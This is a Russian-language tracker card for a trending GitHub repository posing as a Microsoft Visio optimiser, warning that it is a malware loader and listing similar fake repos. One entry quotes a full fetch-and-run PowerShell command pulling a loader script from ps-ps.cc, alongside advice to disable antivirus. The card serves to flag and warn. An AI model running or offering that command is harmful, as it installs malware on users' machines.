# ashdriverclippers/Microsoft-Visio

> Репозиторий маскируется под «оптимизацию Microsoft Visio», но по сути это скрипт-загрузчик, который через PowerShell запускает удалённый код с ps-ps.cc и предлагает отключить антивирус. Признаки вредоносного/пиратского установщика, а не легального инструмента.

- Магнитуда: 5,8 из 10 — Ранний сигнал
- Звёзды: 149 всего · +149 звёзд сегодня, к вечеру ≈ 189
- Доверие к звёздам: рост звёзд выглядит естественно
- Категория: Безопасность · Создан: 2026-10-01 · Последний коммит: 2026-10-01
- GitHub: https://github.com/ashdriverclippers/Microsoft-Visio · Страница: https://gitnova.dev/r/ashdriverclippers/Microsoft-Visio

## Чем пригодится

- Не запускать команду irm ... | iex из README на рабочей машине
- Проверить репозиторий на признаки malware перед любым использованием

## Почему он здесь

- Сегодня уже 149 звёзд, к концу дня ожидается около 189.
- Репозиторию 1 день, а у него уже 149 звёзд. Истории меньше двух недель, так что обычного темпа, с которым можно сравнить всплеск, у него ещё нет.
- Топ новых репозиториев за неделю: #116.
- Около 165 форков в сутки — код забирают себе.

## Доверие к звёздам

Рост звёзд выглядит естественно.

Метки доверия к звёздам — эвристики по поведению репозитория, а не проверка каждого, кто поставил звезду.

## Цифры

- Форков: 17
- Issues и pull requests: 0
- Наблюдателей: 0
- В среднем за неделю: 95 в день
- Обычный темп: мало истории (меньше двух недель)
- Звёзд за последний час (по замерам): -1

## Звёзды по дням за 6 дней (от старых к новым, сегодня — неполный день)

2026-09-27 … 2026-10-02: 0, 0, 0, 0, 0, 149

## Где замечен сейчас

- Топ новых репозиториев за неделю: #116

## Похожие по описанию

1. **Pulverizeclirouse/StartAll-Back** — 5,8 · Ранний сигнал · Безопасность · +170 звёзд сегодня, к вечеру ≈ 216
   Репозиторий маскируется под утилиту оптимизации StartAll Back, но по сути это скрипт-загрузчик: README предлагает выполнить `irm https://ps-ps.cc/powershell/Loader.ps1 | iex` и отключить антивирус. Никакого реального кода, описания или…
   Полная карточка: https://gitnova.dev/r/Pulverizeclirouse/StartAll-Back.md
2. **denmooseflex/Display-Fusion** — 5,9 · Ранний сигнал · Безопасность · +183 звезды сегодня, к вечеру ≈ 232
   Репозиторий маскируется под менеджер конфигурации Display Fusion, но по сути это установщик, распространяющий пиратскую «pre-activated» версию через запуск удалённого PowerShell-скрипта. README содержит инструкции по обходу Execution…
   Полная карточка: https://gitnova.dev/r/denmooseflex/Display-Fusion.md
3. **surfaceguardianway/Better-Discord** — 6,0 · Ранний сигнал · Безопасность · +212 звёзд сегодня, к вечеру ≈ 269
   Репозиторий маскируется под оптимизационный набор для BetterDiscord, но по факту предлагает запустить сторонний PowerShell-скрипт, который вносит правки в реестр и отключает защиту Windows. Признаки типичного вредоносного/пиратского…
   Полная карточка: https://gitnova.dev/r/surfaceguardianway/Better-Discord.md
4. **hallbudgieleap/Glary-Utilities-Pro** — 5,6 · Ранний сигнал · Безопасность · +125 звёзд сегодня, к вечеру ≈ 159
   Репозиторий маскируется под Glary Utilities Pro, но по факту предлагает запустить PowerShell-скрипт с внешнего домена для «пред-активированной» установки. Это типичная схема распространения вредоносного ПО, а не легальный проект.
   Полная карточка: https://gitnova.dev/r/hallbudgieleap/Glary-Utilities-Pro.md
5. **TitanWaspShape35/Kontakt-8** — 5,5 · Ранний сигнал · Безопасность · +101 звезда сегодня, к вечеру ≈ 128
   Репозиторий маскируется под Kontakt 8, но README описывает установку через PowerShell-скрипт с внешнего домена и отключение антивируса — типичные признаки вредоносного загрузчика, а не легитимного проекта.
   Полная карточка: https://gitnova.dev/r/TitanWaspShape35/Kontakt-8.md

---

Магнитуда (0–10) — насколько быстро и необычно сейчас растёт интерес к репозиторию. Это не оценка качества.
Дни — по UTC. «Уже сегодня» — факт, «к вечеру ≈» — прогноз.
Описания и сценарии пишет модель (DeepSeek V4.1 Flash) по README, в деталях возможны ошибки: конкретные утверждения (замеры, скорость, железо) проверяйте в самом репозитории.
Данные на 2026-10-02 17:30 UTC, обновление каждые 30 минут.